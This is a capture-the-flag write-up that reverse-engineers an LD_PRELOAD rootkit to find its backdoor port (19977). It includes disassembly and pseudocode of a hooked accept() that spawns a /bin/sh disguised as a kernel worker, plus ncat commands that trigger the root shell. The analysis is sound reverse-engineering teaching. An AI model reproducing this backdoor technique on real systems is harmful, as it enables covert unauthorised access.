Cyber police recovered rootkit that was used to steal 1000 Bitcoins from Online trading platform.
They are asking for help to retrieve hidden port that was used to access compromised server.
Only clue they can give You is that this rootkit hold a different functions but only one can be used as mentioned backdoor.
This will require some skills in reverse engineering and instruction reading but stakes are too high to fail.
Can You help Cyber Police to find a critical clue in investigation?
rootkit.so
File rootkit.so
is a dynamic library, with debugging information available (not stripped).
$ file rootkit.so
rootkit.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=6517a857d360de3ec4a99ade5c8f481dc20047ce, not stripped
Retrieve function list.
$ nm -D rootkit.so | grep ' T ' | sort
0000000000000a60 T _init
0000000000000c9a T readdir
0000000000000d0b T accept
0000000000000e00 T falsify_tcp
0000000000000ef0 T fopen
0000000000001029 T fopen64
0000000000001164 T _fini
Looking at the function list, it looks like LD_PRELOAD
rootkit.
If LD_PRELOAD
is set to rootkit.so
, then it will be loaded before any other library (e.g., libc
) and functions can be overwritten.
Only a single function deals with ports and that is accept()
, which accept a connection on a socket.
Educated guess how overwritten accept()
function works, is that it checks incoming port number.
Otherwise, a bind()
function would be used to listen on specific port.
Reverse-engineering accept()
function reveals exactly that - after accept() is called, a source port is checked.
In this case it's port 0x4e09 or 19977, which is the flag.
objdump -M intel -d rootkit.so | sed '/<accept>:/,/^$/!d'
0000000000000d0b <accept>:
d0b: 55 push rbp
d0c: 48 89 e5 mov rbp,rsp
d0f: 53 push rbx
d10: 48 83 ec 78 sub rsp,0x78
d14: 89 7d 9c mov DWORD PTR [rbp-0x64],edi
d17: 48 89 75 90 mov QWORD PTR [rbp-0x70],rsi
d1b: 48 89 55 88 mov QWORD PTR [rbp-0x78],rdx
d1f: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
d26: 00 00
d28: 48 89 45 e8 mov QWORD PTR [rbp-0x18],rax
d2c: 31 c0 xor eax,eax
d2e: 48 8d 35 48 04 00 00 lea rsi,[rip+0x448] # 117d <_fini+0x19>
d35: 48 c7 c7 ff ff ff ff mov rdi,0xffffffffffffffff
d3c: e8 3f fe ff ff call b80 <dlsym@plt>
d41: 48 89 c2 mov rdx,rax
d44: 48 8b 05 85 12 20 00 mov rax,QWORD PTR [rip+0x201285] # 201fd0 <_accept@@Base-0xf0>
d4b: 48 89 10 mov QWORD PTR [rax],rdx
d4e: 48 8b 05 7b 12 20 00 mov rax,QWORD PTR [rip+0x20127b] # 201fd0 <_accept@@Base-0xf0>
d55: 48 8b 00 mov rax,QWORD PTR [rax]
d58: 48 8b 55 88 mov rdx,QWORD PTR [rbp-0x78]
d5c: 48 8d 75 b0 lea rsi,[rbp-0x50]
d60: 8b 4d 9c mov ecx,DWORD PTR [rbp-0x64]
d63: 89 cf mov edi,ecx
d65: ff d0 call rax
d67: 89 45 ac mov DWORD PTR [rbp-0x54],eax
d6a: 0f b7 5d b2 movzx ebx,WORD PTR [rbp-0x4e]
d6e: bf 09 4e 00 00 mov edi,0x4e09
d73: e8 58 fd ff ff call ad0 <htons@plt>
d78: 66 39 c3 cmp bx,ax
d7b: 75 65 jne de2 <accept+0xd7>
d7d: e8 0e fe ff ff call b90 <fork@plt>
d82: 85 c0 test eax,eax
d84: 75 4b jne dd1 <accept+0xc6>
d86: 8b 45 ac mov eax,DWORD PTR [rbp-0x54]
d89: be 01 00 00 00 mov esi,0x1
d8e: 89 c7 mov edi,eax
d90: e8 4b fd ff ff call ae0 <dup2@plt>
d95: 8b 45 ac mov eax,DWORD PTR [rbp-0x54]
d98: be 00 00 00 00 mov esi,0x0
d9d: 89 c7 mov edi,eax
d9f: e8 3c fd ff ff call ae0 <dup2@plt>
da4: 48 8d 05 d9 03 00 00 lea rax,[rip+0x3d9] # 1184 <_fini+0x20>
dab: 48 89 45 c0 mov QWORD PTR [rbp-0x40],rax
daf: 48 c7 45 c8 00 00 00 mov QWORD PTR [rbp-0x38],0x0
db6: 00
db7: 48 8d 45 c0 lea rax,[rbp-0x40]
dbb: ba 00 00 00 00 mov edx,0x0
dc0: 48 89 c6 mov rsi,rax
dc3: 48 8d 3d ca 03 00 00 lea rdi,[rip+0x3ca] # 1194 <_fini+0x30>
dca: e8 61 fd ff ff call b30 <execve@plt>
dcf: eb 11 jmp de2 <accept+0xd7>
dd1: 8b 45 ac mov eax,DWORD PTR [rbp-0x54]
dd4: 89 c7 mov edi,eax
dd6: e8 35 fd ff ff call b10 <close@plt>
ddb: b8 ff ff ff ff mov eax,0xffffffff
de0: eb 03 jmp de5 <accept+0xda>
de2: 8b 45 ac mov eax,DWORD PTR [rbp-0x54]
de5: 48 8b 4d e8 mov rcx,QWORD PTR [rbp-0x18]
de9: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28
df0: 00 00
df2: 74 05 je df9 <accept+0xee>
df4: e8 c7 fc ff ff call ac0 <__stack_chk_fail@plt>
df9: 48 83 c4 78 add rsp,0x78
dfd: 5b pop rbx
dfe: 5d pop rbp
dff: c3 ret
Reverse-engineering this with radare2 would provide a more readable output overall.
$ r2 -AA rootkit.so
Warning: run r2 with -e io.cache=true to fix relocations in disassembly
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
-- Your mouse has moved. Radare2 NT must be restarted for the change to take effect. Reboot now? [ OK ]
[0x00000bc0]> pdf @ sym.accept
;-- rip:
┌ 245: sym.accept (int64_t arg1, int64_t arg2, int64_t arg3);
│ ; var int64_t var_78h @ rbp-0x78
│ ; var int64_t var_70h @ rbp-0x70
│ ; var int64_t var_64h @ rbp-0x64
│ ; var int64_t fildes @ rbp-0x54
│ ; var int64_t var_50h @ rbp-0x50
│ ; var int64_t var_4eh @ rbp-0x4e
│ ; var char *var_40h @ rbp-0x40
│ ; var int64_t var_38h @ rbp-0x38
│ ; var int64_t canary @ rbp-0x18
│ ; arg int64_t arg1 @ rdi
│ ; arg int64_t arg2 @ rsi
│ ; arg int64_t arg3 @ rdx
│ 0x00000d0b 55 push rbp
│ 0x00000d0c 4889e5 mov rbp, rsp
│ 0x00000d0f 53 push rbx
│ 0x00000d10 4883ec78 sub rsp, 0x78
│ 0x00000d14 897d9c mov dword [var_64h], edi ; arg1
│ 0x00000d17 48897590 mov qword [var_70h], rsi ; arg2
│ 0x00000d1b 48895588 mov qword [var_78h], rdx ; arg3
│ 0x00000d1f 64488b042528. mov rax, qword fs:[0x28]
│ 0x00000d28 488945e8 mov qword [canary], rax
│ 0x00000d2c 31c0 xor eax, eax
│ 0x00000d2e 488d35480400. lea rsi, str.accept ; 0x117d ; "accept"
│ 0x00000d35 48c7c7ffffff. mov rdi, 0xffffffffffffffff
│ 0x00000d3c e83ffeffff call sym.imp.dlsym
│ 0x00000d41 4889c2 mov rdx, rax
│ 0x00000d44 488b05851220. mov rax, qword [reloc._accept] ; [0x201fd0:8]=0
│ 0x00000d4b 488910 mov qword [rax], rdx
│ 0x00000d4e 488b057b1220. mov rax, qword [reloc._accept] ; [0x201fd0:8]=0
│ 0x00000d55 488b00 mov rax, qword [rax]
│ 0x00000d58 488b5588 mov rdx, qword [var_78h]
│ 0x00000d5c 488d75b0 lea rsi, [var_50h]
│ 0x00000d60 8b4d9c mov ecx, dword [var_64h]
│ 0x00000d63 89cf mov edi, ecx
│ 0x00000d65 ffd0 call rax
│ 0x00000d67 8945ac mov dword [fildes], eax
│ 0x00000d6a 0fb75db2 movzx ebx, word [var_4eh]
│ 0x00000d6e bf094e0000 mov edi, 0x4e09
│ 0x00000d73 e858fdffff call sym.imp.htons
│ 0x00000d78 6639c3 cmp bx, ax
│ ┌─< 0x00000d7b 7565 jne 0xde2
│ │ 0x00000d7d e80efeffff call sym.imp.fork
│ │ 0x00000d82 85c0 test eax, eax
│ ┌──< 0x00000d84 754b jne 0xdd1
│ ││ 0x00000d86 8b45ac mov eax, dword [fildes]
│ ││ 0x00000d89 be01000000 mov esi, 1
│ ││ 0x00000d8e 89c7 mov edi, eax
│ ││ 0x00000d90 e84bfdffff call sym.imp.dup2
│ ││ 0x00000d95 8b45ac mov eax, dword [fildes]
│ ││ 0x00000d98 be00000000 mov esi, 0
│ ││ 0x00000d9d 89c7 mov edi, eax
│ ││ 0x00000d9f e83cfdffff call sym.imp.dup2
│ ││ 0x00000da4 488d05d90300. lea rax, str._kworker_1:23H_ ; 0x1184 ; "[kworker/1:23H]"
│ ││ 0x00000dab 488945c0 mov qword [var_40h], rax
│ ││ 0x00000daf 48c745c80000. mov qword [var_38h], 0
│ ││ 0x00000db7 488d45c0 lea rax, [var_40h]
│ ││ 0x00000dbb ba00000000 mov edx, 0
│ ││ 0x00000dc0 4889c6 mov rsi, rax
│ ││ 0x00000dc3 488d3dca0300. lea rdi, str._bin_sh ; 0x1194 ; "/bin/sh"
│ ││ 0x00000dca e861fdffff call sym.imp.execve
│ ┌───< 0x00000dcf eb11 jmp 0xde2
│ │││ ; CODE XREF from sym.accept @ 0xd84
│ │└──> 0x00000dd1 8b45ac mov eax, dword [fildes]
│ │ │ 0x00000dd4 89c7 mov edi, eax ; int fildes
│ │ │ 0x00000dd6 e835fdffff call sym.imp.close ; int close(int fildes)
│ │ │ 0x00000ddb b8ffffffff mov eax, 0xffffffff ; -1
│ │┌──< 0x00000de0 eb03 jmp 0xde5
│ │││ ; CODE XREFS from sym.accept @ 0xd7b, 0xdcf
│ └─└─> 0x00000de2 8b45ac mov eax, dword [fildes]
│ │ ; CODE XREF from sym.accept @ 0xde0
│ └──> 0x00000de5 488b4de8 mov rcx, qword [canary]
│ 0x00000de9 6448330c2528. xor rcx, qword fs:[0x28]
│ ┌─< 0x00000df2 7405 je 0xdf9
│ │ 0x00000df4 e8c7fcffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.accept @ 0xdf2
│ └─> 0x00000df9 4883c478 add rsp, 0x78
│ 0x00000dfd 5b pop rbx
│ 0x00000dfe 5d pop rbp
└ 0x00000dff c3 ret
Reverse-engineering this with Ghidra would provide a nice pseudocode.
int accept(int __fd,sockaddr *__addr,socklen_t *__addr_len)
{
uint16_t uVar1;
int __fd_00;
__pid_t _Var2;
long in_FS_OFFSET;
undefined local_58 [2];
uint16_t local_56;
char *local_48;
undefined8 local_40;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
_accept = (code *)dlsym(0xffffffffffffffff,"accept");
__fd_00 = (*_accept)((ulong)(uint)__fd,local_58,__addr_len,(ulong)(uint)__fd);
uVar1 = htons(0x4e09);
if (local_56 == uVar1) {
_Var2 = fork();
if (_Var2 == 0) {
dup2(__fd_00,1);
dup2(__fd_00,0);
local_48 = "[kworker/1:23H]";
local_40 = 0;
execve("/bin/sh",&local_48,(char **)0x0);
}
else {
close(__fd_00);
__fd_00 = -1;
}
}
if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
return __fd_00;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
Rootkit can be easily executed to check how it's working.
In one terminal, preload rootkit.so
and execute command, which uses original accept()
function. A simple ncat
would do.
$ LD_PRELOAD=/home/user/rootkit.so ncat -l 1234
In other terminal, connect to executed program, using 19977
as a source port.
Connection is successful and running any command, just executes it, as rootkit has launched a /bin/sh
.
$ ncat -p 19977 127.0.0.1 1234
id
uid=0(root) gid=0(root) groups=0(root)